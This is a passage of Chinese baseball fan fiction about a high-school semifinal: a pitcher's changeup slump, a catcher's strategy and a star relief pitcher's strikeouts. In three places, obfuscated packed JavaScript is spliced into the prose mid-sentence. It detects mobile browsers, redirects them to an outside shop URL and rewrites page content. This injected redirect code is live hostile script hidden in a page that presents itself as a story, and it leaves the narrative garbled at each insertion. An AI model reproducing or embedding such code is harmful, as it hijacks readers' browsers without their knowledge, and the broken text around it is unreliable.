克里斯坐在那里,握着笔的手捏得很紧:柴崎前辈…… 一切早有预兆,但是谁都没想到竟然会在此刻爆发。 最清楚这一点的莫过于增田了,他脊背发寒,想起平时牛棚中训练他要求翔一投变速球时感受到的违和感,他只以为是夏天到来的微妙变化,过段时间就会好的…… “暂停!”御幸小跑上投手丘。 36.欺骗 “柴崎前辈,是我的问题。”御幸用手套挡着脸,沉声道。 柴崎:“?!” 他惊讶地看着这个天才后辈,在他的印象里御幸总是相当自信,无论是对前辈还是同辈,他的态度有时候直白到甚至让人感到被冒犯。 没想到他也有说自己有问题的时候。 这一刻柴崎微妙地感觉到了些许欣慰和安定。 “对方瞄准了内角球,但是我没有及时改变配球,被对方抓住了,柴崎前辈现在继续死磕内角球肯定是不行了,变速球……” “就差一个出局数了,可以吗?” 这下柴崎能说不吗。 他站在投手丘上看着后辈回本垒的背影,无声地叹了口气。 两侧的跑者虎视眈眈 他对着变速球摇头只是因为最近手感很差,没有别的原因、没有别的原因吧……不合时宜的,他想起了很久之前的事情来。 “翔一,这个录像上的变速球好帅啊,速差变化在比赛中一定很好用吧。”增田指着屏幕上的一个投手,两眼放光道。 柴崎抿着唇犹豫道:“看上去好难啊。” “你一定能行的!” 因为这句话,他才决定继卡特球之后去学习变速球,少年人下定决心的原因有时候很简单,一句鼓励就可以了。 但是想要做成却远没有那么简单。 变速球分为许多种类,传统的OK变速球、掌心球、指差变速球、圈指变速球等等,录像中的投手投出的是变速球中的掌心球分支,柴崎自然也就以掌心球作为模板学习了起来。 但结果很快就令他失望了,他怎么也学不会掌心球,教练说这是因为他的手掌大小达不到学习掌心球的标准,生理上的影响是努力无法改变的,不如换个变速球的种类学习。 柴崎没觉得有什么不好,传统变速球和圈指变速球一样好用,后者甚至更受欢迎,完全没必要去吃力不讨好地在掌心球上死磕。 他向来想得开。 他以为是这样的…… 结果在春季大赛上,他的变速球输得一败涂地,而后辈轻易学会了掌心球,不仅如此连更难的螺旋球也玩笑般投了出来……他的努力,比不上天生的天赋,但他嫉妒都没办法嫉妒,因为拥有天赋的人也同样努力。 看着捕手背后的2号背号,他想起另外两个人。 我比自己想的还要不了解自己,我也许从来没觉得这样就好,装得像模像样,说出豁达的话,其实并不甘心。 投变速球的手在一天天变重,在捕手配球时他下意识对要投出的变速球摇头,因为他已经几近失去了投出那一球的信心。 那种不甘像蚂蚁蚀咬着他,不够疼,却也怎么都忽视不掉。 他不想让自己微妙的心理影响到队伍,想和大家一起去甲子园,但如果下定的决心实现时也像说大话一样简单就好了。 柴崎低头看着自己沾满防滑粉的手掌。 真难看啊……那时他对丸濑说的话也是对自己说的,羞耻、自尊,这些自我抛弃掉就好了。 “哦哦哦精彩的变速球!3出局!青道漂亮地解决了危机!” “攻守交换!” 也没想象中难啊,柴崎站在投手丘上喘着气抬头望着天空。 回到板凳席时,增田站在入口处迅速来到了他身侧,眼中满是懊悔和担忧:“翔一,你还好吗?” 柴崎笑笑:“我很好。” 这一切,他都不想让增田知道。 “你在投手丘上和柴崎前辈说了什么?”白鸟若有所思地看着御幸。 御幸正仰头喝水,护目镜的反光遮住了他眉眼刹那间泄露出的情绪,慢斯条理地喝完水,他挑眉:“没什么,安抚一下投手的情绪而已,柴崎前辈后面投得不是很好吗?” 也是。 “京,你如果在投手丘上对我的配球摇头的话,一般会是什么原因?”御幸看着因为没有上场,力所能及做着一些辅助工作的白鸟,连在那边摆纸杯子也好像很满足。 那时他没有详细问,但现在他想知道。 白鸟有些疑惑,他看看御幸又看看柴崎:“很简单啊,感觉那球手感不好,感觉会被打出去之类的,一般不都是这样的原因吗?” “嗯……确实是这样没错。” 御幸肯定了他的回答,但白鸟觉得他意有所指,忍不住仔细瞧了瞧不远处柴崎的表情,很正常很舒展,甚至有点开心的样子。 似乎是察觉到他的目光,柴崎前辈转过头看见他,微微一怔,然后笑了笑重新转回头和增田前辈说话。 “……”白鸟一时间感觉有点哽住,他茫然了一会儿,突然明白了什么。 如果说3局上时投捕会议后有什么变化,那就只有柴崎前辈投出了这次比赛的第一个变速球。 春季赛后关东大赛期间开始,柴崎前辈对着变速球摇头的次数变多了,牛棚练投时投得变速球也很少,听说他在学习新的变化球。 这和他有什么关系吗?白鸟感到熟悉的头疼,但是恐惧却淡却了,此时此刻和彼时彼刻毕竟不同,他应对这些莫名其妙的问题变得游刃有余了很多。 就像那把丢失的伞,只要不去在意,那就是个连麻烦都没能造成的恶作剧。 先不管柴崎学长对变速球心怀芥蒂的原因为何。 失分不在预期内,但那些逼迫、绝境却意外给了御幸一个机会。 掌控投手的机会。 适当的后退,反而能得到更进一步的机会,多少有点趁火打劫的意思在了。 御幸观察着白鸟的神色,他正准备适时引导一下,却见白鸟很快回过神,那双金色眼睛里没有他预想的无措或者反对,反而意外的冷静。 “你也不怕柴崎前辈失投。”白鸟略有点无语。 御幸笑了:“放心吧,虽然是突然的决定,但是我也是思考过托底方案的。” 在那样的情境下御幸敢让柴崎前辈去投他原本不愿意投的变速球,也是基于他对柴崎前辈做过王牌有着比一般投手更强的责任感的原因,和对仙泉三棒打者的了解,这球的好坏在7:3,足够他去赌一把了。 “你这家伙……”白鸟无奈,“随你吧。” 这下轮到御幸疑惑了:“随我?” “无论你想做什么,左右都是为了赢,对我而言你是我的搭档,我天然站在你这边。”白鸟这么说着,在御幸怔愣的眼神中笑着拍了拍他的肩膀。 “你还是好好想想该怎么应付克里斯前辈吧,这事情其他人看出不出来,但克里斯前辈作为捕手肯定能明白。” 御幸先是下意识看了克里斯一眼,随即目光重新落在白鸟身上。 “其实,克里斯前辈反而不会说什么,因为现在我才是正捕手,以他的风格不会插手我的决定,但是京你真是出乎我的意料。”他勾起嘴角,伸手,然后在白鸟莫名的目光中又收回去调整护目镜去了。 御幸知道这种事情瞒不住的,所以他根本没想瞒着白鸟,白鸟相当敏锐,与其后面让他想清楚还不如现在就让他知道,但是这反应实在是出乎他的预料,竟让他打好的腹稿全无用武之地了。 白鸟一下明白过来,一个队伍不能有两个大脑、两个指挥权,他们两个都是顶尖的捕手,自然有这种默契。 “那就好。” 既然没什么可担心的,白鸟也就不再多言,看着御幸穿戴好打者的护具走上打击区。 垒上无人这家伙很快就灰溜溜地走了回来。 白鸟黑线:“你这家伙什么时候能再精进一下打击,不要老是靠猜球好吗?” “嘻嘻。” 剑走偏锋找回状态的柴崎在4局上半很好的展示了自己的压制力,除了4棒选中了一球略微失投的直球,打出了安打,后续棒次一个被接杀,两个□□脆利落的三振了。 “柴崎翔一选手的又一个三振!看来上局解除危机也给了他很大的信心,现在手感火热啊!” 天野颇为赞同,有时候一次成功的局数就能正面影响投手接下来的投球,同样的一次失败的投球也可能会带来连续的失败。 “是啊,最重要的是将这个状态延续下去。” 白鸟微微弯下腰,肘部支着腿,手撑着脸,眸色深深。 仙泉板凳席内气氛有些凝重,选手们有些焦躁地扒在栏杆处,看着一个个被Out的打者,心止不住的往下沉。 部长瞥撇鹈饲监督,皱着眉:“看来这个投手的变速球调整过来了,捕手也适时调整了陪求,专攻内角好像已经不如之前那么有用了,该怎么办?” 鹈饲监督眯着眼睛看不出他在想什么:“别着急,别着急。” 既然鹈饲监督如此说,部长也只能选择相信,能走到这里,鹈饲监督功不可没,他只能也必须相信他。 “4局下半,青道攻击。” 棒次已经重新轮回到了1棒村田光,他已经观察了这个投手1打席。 白色小球疏忽间来到本垒,村田手臂的肌肉瞬间收紧,扭腰转胯。 “呯!” “精巧的安打!落在了二垒和三垒之间,村田选手成功上垒!” 那我就不客气了,村田摘下打者护具。 下一棒的打者小凑亮介当然明白这个前辈想干什么,他尤其擅长与投手纠缠,总是喜欢将不好打的球打出界外,让投手不得不在他的打席投出更多的球数。 村田直接大幅度离垒骚扰投手。 如月烦躁地向一垒投了好几个牵制球,村田胸前的衣服因为扑垒已经黑成一团,但就算如此,他照样只要投手转过身就离开垒包, 投手丘上如月脸都黑了。 捕手毫无办法,他打了好几个暗号让如月不要在意一垒跑者,他想盗就让他盗,先将心思放在现在的打者身上,但是如月显然没听进去。 小凑捞了好几个界外球,眼见着投手越来越烦躁,他只是冷静地等待着自己想要的那颗球。 当白色的小球第4次从投手丘上飞来,他完全没有挥棒的意思,这是个偏离好求带的坏球,但令人没想到的是…… “坏球!棒球砸在了本垒的地面上!捕手漏接了!” “盗垒!” 村田在看见球没有飞进手套的刹那间就已经起跑,在捕手将球扔进二垒手套前便轻松登上垒包。 “Safe!” “哦哦哦哦!漂亮的盗垒!” 仓持在板凳席 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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眼见着这一棒似乎无法要错过,东清国却不甘心的硬生生在挥棒途中更改了自己的打击姿势,硬是将这球碰了出去。 金属球棒撞击棒球的声音再次响彻场中。 村上脸色大变,一把薅起面罩大喊:“中坚手!” 因为临时改变姿势,这球飞得比预期中短一些,但最终这球还是落地了。 “漂亮的安打!如月选手投出了一个非常漂亮的滑球,但是东选手技高一筹,还是将球击了出去!” 村田跑回本垒,为青道拿下了此次比赛的第1分。 伊佐敷与东清国占据了一二垒的垒包,仙泉的危机还未结束。 “暂停!”村上果断喊了暂停。 以东前辈的体型来说只有切实打出去的安打才能上垒,这也是哪怕脂肪可能带来长打的力量,但大多数球员却不会任由身体横向发展的原因,体重对跑垒速度的限制实在太大。 东前辈总把本垒打挂嘴边,除了本垒打确实厉害,也有一定原因是打出本垒打之后就不用着急忙慌地跑垒了,可以慢悠悠绕场一圈的原因吧。 白鸟在板凳席大逆不道地想着。 鹈饲监督脸黑了一下,果然是年轻人,总是意气用事。 但是……鹈饲监督凝神看着投手丘上的投捕,如月和村上,平分而已,只有你们撑住,才有之后的希望。 捕手村上謙也没什么表情地看着如月:“七绪,以我们的实力应对青道的核心打线,稍有不慎就会像刚刚那样。” 如月苍白着脸,咬牙切齿地瞪着村上:“行了行了,我知道了,我不会对你的暗号摇头了行吧!” “但是你刚刚明明也同意了!怎么就全是我的错了!” 眼见着投手妥协,村上深知打一棒给一甜枣的道理,低声道:“我也有错。你今天的投球内容还是很好的,刚刚那球滑球投得很好,只是对方更厉害一点,平分而已,如果我们在四棒和五棒中依据情况进行保送,是有赢的希望的,监督已经做好了谋划。” “那可是甲子园,只要打败青道,再赢下决赛,我们就能进入那个大门了,只要能进甲子园,谁还会在乎什么保送不保送。” “你想在甲子园中投球吗?” 如月七绪的恼羞渐渐平复:“说实话,我没那么大信心,我们真的能去甲子园吗?” 村上哪里能够保证,但是此刻,他只是一脸理所当然道:“当然。” 如月总是很好骗,村上和他搭档三年总有对付他的办法,欺骗只是没有办法的办法,如月看不清,但是村上经过刚刚那个打席已经看得很明白了。 仅靠他或者如月,根本不可能赢下这场比赛,只有大家加上监督一起拼尽全力,才有那个可能。 如果输给青道,别谈甲子园了,他们只能止步四强。 他知道监督不是那种相信选手的监督,所以无论使用什么办法他必须安抚下如月,因为如月已经是现在投手阵里最强的了,椿本难当大任,真木虽然天赋异禀,但是太年轻气盛。 哪怕不愿意承认,但只有如月,只有如月必须站在这里。 37.狡猾的家伙 如月其实根本没相信村上说的话,但是他的投球重新稳定了下来,因为他也意识到,仙泉目前的投手阵里,能勉力应付青道打线的只有他了。 如果连他都放弃,连他都绝望,他们才是真的毫无希望。 他微微侧头看向青道的板凳席,我真羡慕你啊柴崎,有那么优秀的一个后辈,就算你不行了,也还能依靠另一个人。 为了避免持续失分,他们将进化过的滑球加入进了配球中,这比预期中早了很多。 重新拿出变速球的柴崎,与几乎是背水一战的如月,两人都拿出了百分之两百的努力在投手丘上厮杀着。 局势就这么僵持住了,期间也有打者上垒,但两校都未能得分,仙泉更是贯彻了战术要求,在东清国的又一打席中直接将人保送上垒,惹得还想再神勇发挥一把的他直在垒上跳脚。 “不会要打延长赛吧?” 如果半决赛就烧尽心力,可以预见决赛绝不会好过,无论对两校中的哪个都是一样的,可若是现在还想着留存实力,怕是连决赛的门都迈不进去。 御幸偷偷观察着柴崎,柴崎前辈脸上的汗更多了,他的状态很紧绷,不能再施加更多的压力,刚刚那只是权宜之计,根本无法保证柴崎前辈能将这种状态一直维持下去。 索性监督也看出了赛场的凝固,于是他决定派一个人去打破这种紧绷。 片冈监督淡声道:“辛苦了。” 柴崎的眼睛微微睁大,没有指名道姓的慰问他却清楚地知道监督究竟在对谁说,黑发青年拽下头顶的毛巾,眼眶有些泛酸:“是。” “青道高中更换选手通知。11号投手柴崎翔一,更换为1号投手白鸟京。” 他们的背号已经和关东大赛时完全相反了,赛场氛围也从质疑转变为激动欢迎,这是白鸟一场场投球带来的转变。 广播出现的那一刻,观众与仙泉方都骚动起来。 “终于来了!那个天才!我就是为了他才来看半决赛的,要不然我就直接买决赛的票了。” “是啊,是啊!片冈监督藏得真紧啊,第七局了才把王牌派出来,我真是紧张死了。“ 鹈饲监督收紧手臂,喃喃:“比预想的要早啊。” 他做过两个设想,一:青道会让白鸟先发,丹波中继,柴崎关门。二:青道让柴崎先发多吃局数,白鸟关门。 如他所想,青道走上了他预测的PlanB,可是这个换投的时间却比他想的要早,而且在白鸟上场前,仙泉并没有取得他想要的优势。 朝日倒是兴奋地双眼放光:“150KM/H以上的直球,发球机投出来的终究不如人投出来的有意思,特训了这么久,我一定会打中他的球!” 如月从投手丘回来后就没说话,他深吸一口气又吐出,朝日这小子,天真! 观众席的一个角落,几个穿着棒球服的少年聚在一起。 “哼,那家伙终于出现了。” “鸣,这就是你说的那个目中无人的家伙?”卡尔罗斯是真的好奇,居然还有人能让成宫评价为目中无人吗? 原田雅功有点无语:“别听鸣瞎说。” 成宫鸣翘着脚坐在观众席的椅子上,摘下帽子拿在手上转:“什么啊,我才没有瞎说,决赛我一定要把他打得落花流水!让他好好正视我!” “?”卡尔罗斯纳闷道:“先不说我们明天还要和市大三比赛才能进入决赛,怎么你就认定今天是青道赢了?” 成宫鸣眼睛死死盯着赛场,漫不经心道:“如果说在白鸟被换上来之前,仙泉或许有希望,但现在,赢得肯定是青道。” 这家伙究竟是讨厌白鸟还是喜欢白鸟? 卡尔罗斯眯着眼睛无奈地和原田雅功对视一眼。 “总之,”成宫鸣咬牙切齿道:“这家伙只会败在我手上!” 另一边,市大三的几人也成功发现了稻实几人的身影,山胁见没有海老名也歇了去打招呼的心思。 “现在看来柴崎的变速球似乎没问题了。”语气有些可惜,山胁作为捕手在看了好几份青道的记分册后自然也意识到了问题。 多年来对决时惺惺相惜的感情让他会为此担忧,但涉及到进入甲子园的门票时,这就成了最好的破绽。 他可不会在这种时候还要讲究绅士风度。 白鸟系好鞋带,再次查看了一下自己的装备,还剩3局,目前场上是平分,他最好一分都不要丢,静待打线的爆发。 “走吧,搭档。”御幸已经穿好了护具,那双护目镜后的眼睛含着笑意注视着他。 注视着那双眼睛,紧张迅速退却了,白鸟弯起眉眼:“嗯,搭档。” 仙泉为应对白鸟这个拦路虎,可谓是做了许多准备,就像朝日说的,面对150KM/H的发球机,每个先发都拼命去适应这个速度的四缝线直球,还有御幸白鸟搭档时捕手惯用的配球思路。 可惜这些仍是杯水车薪,因为棒球是人的运动,而人是这个世界上最复杂的生物。 数据有用也没那么有用。 而御幸的配球在和白鸟搭档时更加莫测,仿若鱼游入水,鸟飞入林,创造出了1+1>2的效果。 白鸟上场后轮到的仙泉棒次是从6棒开始的下位打线,通过七局的比赛,御幸几近摸透了这几个打者的打击习惯。 他蹲在本垒板处,手套微微抬起。 就当是之前几局的回礼吧,御幸瞥了一眼严阵以待的六棒打者,唇边翘了翘。 白鸟看见手套的位置,心中了然,一也真是恶趣味,但是这一球作为宣告的第一枪,确实是再合适不过的选择了。 举臂侧身抬腿,柔软的手臂如鞭般甩出,掌中棒球化作一道雪练在打者眼中留下残影,尚且还未回过神,耳边就传来一声巨响。 “嘭!” 山冈动都没能动一下,棒球以差点擦过他胸前的距离没入手套,在那一瞬间汗浸湿了脊背,他震悚地望着投手丘的白鸟,明白了为何大家明明已经能够将发球机超过150KM/H的球打出去,可监督却依旧愁眉不展。 发球机的球快,但是完全没有人投出来时那种活着的感觉,那种猛兽般仿佛要将你吞吃入腹的冲击力。 白鸟京…… “151KM/H!” “哦哦哦电子记分板上的球速显示为151KM/H!今天的白鸟选手第一球就火力全开啊!”电台主播有些激动,火球投手就是有如此魅力,能够仅凭一球就轻易带动起场馆的气氛。 天野有些感叹,最为和夏甲预选赛第一个对上青道的学校,他自然也是狠狠研究过这个选手的。 “白鸟选手确实是个横空出世的天才投手,高速球是最吃天赋的。” “他的投球有着扎实的基本功,但比起一般的火球投手来说,他的身形不够高壮,能投出火球更多依靠其天赋异禀的肩、肘、腕,但这也意味着他投球的体力消耗比一般投手要大很多。” “但想要凭借着这点去攻克这个投手,并非易事。” 除非仙泉能将比赛拖进延长赛,想到这里天野一怔,难道仙泉正是这样想的?可是他们的投手撑得住吗? 第三球,山冈咬牙将球杠了出去,可强大的反作用力震得他手腕发麻,小球软绵绵地飞到三垒的位置,被东清国接住。 白鸟和御幸对视一眼。 ‘果然!’ ‘果然!’ 送走六棒,御幸眯了眯眼睛,然后咧开嘴,他打了几个暗号,看见白鸟没有摇头,脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725181|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步微微挪动。 七棒紧张又嫉妒地站上打击区,一对一年级的青道正投捕,要知道,他当年想进入青道高中都没办法,青道高中偏差值不低,作为私立学校学费也不便宜。 更重要的是,他直到三年级才终于有了站在这个赛场的资格,而这些天之骄子,这辈子或许都体会不到他的痛苦。 思绪流转间。 他眼见着投手一球直插本垒,内角球?!因为速度太快留给他思考的时间太短,他下意识挥棒。 ‘遭了!’ “Strike!” 这是一个坏球,但打者挥棒,计为好球。 打者冷汗下来了,难道…… 他下意识看向仙泉板凳席的监督,鹈饲监督摸了下帽檐。 御幸挑眉:‘哈,果然。这些家伙还是老一套啊。’ 白鸟则有些奇怪:‘按理来说这个计策已经失败了,为什么还要用?” 御幸也不太明白,但是这不妨碍他借此狂赚好球数。 “狡猾的捕手。”鹈饲监督冷哼一声。 七棒八棒无功而返。 意料之外,情理之中的是,下半仙泉也换了投手,王牌如月去了右外野休息,代替他上场的是三年级的另一个投手椿本。 椿本是右投,球速不快,变化球质量也不高,但奈何他变化球数量多呀,滑球、曲球、变速球、指叉球轮番上阵。 虽然应对青道的核心打线可能不稳,但是对付一轮下位打线也绰绰有余了。 青道都看出来了,这是来拖局数的。 “可恶,看我上场把他轰飞!”东清国恶狠狠地看着椿本和村上。 他们都有种不详的预感,不会真要进入延长赛吧…… 白鸟倒是无所谓,就算进延长赛又如何,他相信自家打线,而且他真的蛮烦这些人老拿他的体力攻击,难道这么久了,他就不会进步吗? 看出他暗戳戳在气闷,御幸“噗嗤”一声笑了出来。 好好好,在投手郁闷的时候,这个恶劣的捕手不仅不安慰,还要嘲笑。 御幸伸手戳了下白鸟酒窝的位置,眨眨眼:“不高兴的话,那下一局就狠狠三振他们出气吧?” “那是当然,不过……” 白鸟一把握住那只作怪的手:“我体力很弱?”他眯着眼睛,金眸中投射出危险的光。 很有御幸只要说是,他就让他尝尝厉害的意思。 御幸笑嘻嘻道:“撒~谁知道呢?” “……” “……以后每天早上晚上陪我跑步。”白鸟捏着那只手,暗暗咬牙。 御幸反握回去,手腕一翻将自己的手置于上方:“可以啊,不过我不是已经每天早上陪你跑步了吗。” 他撑开白鸟的手,仔细看了下白鸟的手掌,白皙修长的手虽有点泛红,但食指和中指的茧子没有磨破的迹象,手顺着掌心挪到手腕捏了捏,指腹能感觉到脉搏的跳动,御幸不知为何感觉那一瞬间世界变得安静下来,耳边幻觉般响起心脏的鼓噪。 他回过神,然后手又沿着小臂往上。 “感觉还泛酸吗?” 白鸟没感觉酸,只感觉被碰到的地方痒痒的,暗自忍耐下来:“前几天就不酸了,只是那天睡觉不小心扭到了,也去看过医生,别担心啦。” “总之,有什么不舒服及时告诉我。”御幸放下心来。 要知道那天听白鸟说胳膊酸差点没给他吓死,连忙将人带去给监督报告然后去医院检查。 还好只是虚惊一场。 两只手分别按在御幸和白鸟的肩膀上,两人转头一看,克里斯笑眯眯地:“马上要上场了,赶紧准备一下吧。” 莫名紧张的两人立马道:“是!” 38.崩溃 事实上,仙泉确实在拖。 第八局,仙泉打线依旧熄火,下半局投手椿本换成了一年级的真木。 193cm的真木站上投手丘,宛如一个巨人矗立在球场上,这倒是令青道颇有些猝不及防,高大的身形意味着他投出的球放球点很高,就算是青道的打线想要适应也不容易。 真木站在赛场的中心,却满脑子都是上场前监督说过的话。 “撑过这一局,如果表现的不错,第九局我也会让你上场去应对青道的中心打线,为王牌争取更多的休息时间,能做到吗?” 捏紧了手上的防滑粉包,真木的上唇掀了掀。能做到吗?如果是白鸟,是那个家伙上场,也会被问这个问题吗? 巧合的是,真木上场后应对的第一个打席,就是替换了原本9棒柴崎位置的白鸟。 白鸟持棒站上打击区,看着投手丘有点感叹,个子真高啊。 村上张开手套:‘第一球外角低位球。’ 真木摇了摇头,捕手立刻头疼起来,果然啊他就知道,年轻气盛。 ‘内角低位球。’ 真木没什么表情,心里却满意极了,他也是有天赋的,他因为身高这种生理条件获得的远高于常人放球点的天赋,也是一些人一辈子也得不到的。 白鸟不知道真木在想什么,只觉得投手的目光有些瘆人,一般来说高个子投手想要发挥优势,应该会更多的使用低位球。 高低落差巨大的直球就像小曲球一样,很难让打者击中球心。 鉴于某种微妙的预感,白鸟觉得第一球应该会是内角低位球。 在他站在打击区时,对面投手80%都会在第一球塞内角球给他……是威慑?还是因为他是投手,所以面对极有可能造成触身的内角球会难以出手? 哪怕猜出了第一球可能的球路,白鸟也没有随意出手,他需要仔细观察真木的投球姿势、放球点和球路。 小幅度跨步,投球时重心也偏高,是相当合适他高个子的投球姿势,强化了他的优势让他的放球点进一步增高。 那一球落进手套,白鸟没有挥棒,他内心赞叹,真是特别的球路,就算他猜中,想要打好也是难事。 “呯!”球倒飞砸在界线之外。 ‘第二球就能打中了?’村上有些惊疑,他对白鸟的印象只有高速球和那颗漂亮的滑球,对其的打击实力确实没什么印象,但这种无印象,不正是因为白鸟打击实力其实不那么出众吗? 起码比起他可怕的投球实力,他的打击实力便没那么耀眼了。 村上相当谨慎,也没有在此刻还要藏拙的想法,使用真木的低位直球和高角度曲球三振了白鸟。 某种程度上在此得到激励的真木投得愈发凶狠,那种堪称诡异放球点的曲球第一次看见真是拿其没辙,仙泉也是打好了一场信息战,在与青道的对决之前,硬是从没让青木出场投球过。 “也是得到了好情报呢。”山胁笑眯眯的,若是突然被打上这么一张牌,他们市大三高也得头疼。 他看向那几个身穿稻实球衣的少年。 不过,稻实的成宫鸣可不像青木洋介,就算他只是一年级,也被市大三高好好研究了。 “放球点确实很高,他的球路一般都压得很低,捕手也更倾向配低位球,曲球的变化幅度没有丹波前辈大,但是高低差很惊人。” 和村田前辈错身而过的时候白鸟低声告知了自己上个打席的收获。 “这种投手有点意思啊,我还没见过拥有这么高的放球点的投手呢,就算是职业球员,拥有接近195cm身高的投手也很少见吧。”御幸有些紧张又有些兴奋道。 “兰迪·约翰逊,身高208cm。”白鸟摘下打击头盔,闻言淡淡回了一句。 “哇——”御幸咂咂嘴,“那可是大联盟中列入名人堂级别的传奇左投手。” 结成擦着球棒,他脑中思索着从板凳席观察到的球路,然后将丹波的身影拔高,脑海中漆黑一片的空间里,唯有一道道白色的球路越发清晰。 真木的球速在140KM/H左右,虽然在高中中算普通,但对于高一生来说挺优秀,这也是身体条件对于实力的转化。 真木可是王牌候选。鹈饲监督很满意他的表现,是不是对于白鸟的这个同龄人的竞争心让他超常发挥了? ‘我也很不错吧!’真木投得畅快,甚至忍不住侧眸看青道的板凳席,下意识寻找那一抹白色。 白鸟对于对面投手在心里暗暗注意着自己这点丝毫不知。 他拿冰毛巾擦了擦脸,现在天气确实越来越热了,只是稍微活动一下就能出一身汗,他今天穿的长袖速干衣,就是为了减少出汗的时候衣服粘在身上那种黏糊糊的难受感觉。 “平分到了第九局啊,难得啊难得。” “对啊,怪不得说九局下半比赛才真正开始,紧张啊……仙泉也算是超常发挥了吧。” “这下真不知道会是什么结果了,我还以为青道会是压倒性胜利呢。” “只能说仙泉真是拼命了。” 最微妙的一点是,轮到的都是两个学校的中心打线,三棒、四棒、五棒,可以说若是哪个学校在这最后一局中守住,然后再获得一分,也就不用进入延长赛,直接获得胜利! 白鸟在瞩目之下登上投手丘,神色淡淡,似乎完全看不出现在的局势有多危险。 仙泉的三棒龇牙咧嘴地登场,活动活动胳膊,怂怂肩,转转脖子,明明已经热身过了,却还是紧张地再次活动身体,他深呼一口气站上打击区。 没事的,没事的。别怕!这个投手控球很好,所以像监督说的,专注打他的直球! 投手丘上的家伙明明比他还小两岁,究竟为什么能拥有这样的压迫力! “嘭!”白光闪现,一道烈风席卷而过。 “Strike!” “152KM/H!白鸟选手又刷新了这场比赛的最高速!” 怎么感觉对面好像有点生气,三棒咽咽口水。 御幸紧握住在手套里左突右撞的棒球,这家伙似乎兴奋起来了,为什么??? 他站起身将球扔回给白鸟。 呼出一口气,白鸟接住球,对于御幸的疑惑他只回了一个笑容。 “咦?他对我笑了?”仙泉三棒感到莫名其妙,但感觉这个笑容不是嘲笑所以也回了个礼貌的笑容。 不过就算这样!我也一定要把你打爆! 御幸黑线:‘下一球依旧是外角球,不过要拉高。’ 怀揣着一定要打到的决心,三棒挥空。 裁判右拳向下用力一挥:“Strike three!” 想象是一回事,现实又是另一回事了。 观众席上一个头发花白的老人一拍大腿感叹:“三球没有一球低于150KM/H的,看着真漂亮。” “是啊,这个捕手接的也好,有些低位的高速球可不好接,但是他一个都没漏。” “怎么,你当过捕手啊?” “我年轻的时候也是进过甲子园的好吧!” “嚯!” 眼见着4棒也逃不过三振的命运,朝日冷哼一声走上打击区。 白鸟对这个嚣张的打者有点印象,每次上打击区的时候都一副天老大我老二的样子,似乎是个二年级,不过作为游击手确实很厉害,几个差点击穿内野的安打都被他及时阻止了。 作为打者嘛…… 和御幸对视一眼,白鸟扶了下帽子,做好投球的准备。 “Strike!” “Strike two!” 怎么会…… 朝日满脸汗,瞳孔震颤,明明……明明和发球机的速度差不多,为什么打不到?! 如果,如果再有一个出局数,仙泉就完了!除非下半局青道也一分不得。这时他才意识到自己对于山冈的控诉,控诉其打不到球有多过分。 没能打到球的打者永远是场上最后悔的人。 鹈饲监督无声地叹了口气,所以啊……直到这种时候才能明白吗?朝日…… 他确实是仙泉难得有天赋的游击手,可正因为这天赋让他颇有些目中无人,认为他人的做不到是因为不努力不拼命。 看看你前方的那个投手吧,那才是棒球之神钟爱的对象。 最后一次机会!最后一次机会!朝日抿紧嘴唇,因为心脏激烈跳动脸颊上泛起一片潮红,但嘴唇却因为闭得太紧而惨白。 沉重的压力让他喘不过气,天地从广阔的一片变得格外狭窄,他只能看见那个白色的投手,看见那张没有表情冷酷的脸,看见他投球时似乎完全没有犹豫的动作。 朝日下意识往好球带迈了半步。 “停!”主裁判骤然喊到。 投手丘上白鸟突然止住投球的动作,重心偏移踉跄了一下。 什么情况? 主裁判身着黑衣从御幸身后走出站在朝日旁边:“朝日选手,你的身体挡住了一部分好球带。” “不好意思!抱歉!我马上调整!”朝日惊慌失措地看向脚底的打击区框线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734366|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是首次警告。”语毕,见朝日态度不错便又回到了原来的位置。 御幸瞥了一眼朝日,这家伙估计是太紧张了,好机会呀! 白鸟点点头,他颠了颠手上的防滑粉包,帽檐下的视野中,那个打者已经摆好了打击姿势,只剩一个好球数,这一轮打席就结束了。 目光锁定捕手的手套,白鸟举臂,炽烈的阳光下那双金色的眼睛宛如两轮太阳,照射在朝日畏缩的心中。 他名为朝日,却第一次畏惧起太阳的颜色,这个投手会投什么球? 内角球?外角球?滑球? 监督曾说这个捕手在关键对决时总喜欢配内角球,两个选项在心中飞速变大,变大,占据了全部的心神,他知道这不对,他应该仔细观察,谨慎选球……可背后的悬崖追上了他的影子,一种莫名的急迫蔓延上全身。 就好像站在铡刀之下。 白色的小球如期而至,它依旧如此之快,如此之美,笔直的球路没有一丝变化,向着好求带的外角而去。 居然是外角?!但是我能跟上!朝日咬牙挥棒,他的球棒好像头一次跟上了棒球的速度,可就差那么一点,就差那么一点,球棒与棒球擦肩而过。 “Strike three!” “三球三振!” 掌声如潮水般在球场中响起,赞叹着白鸟的精彩投球。 “153KM/H!” 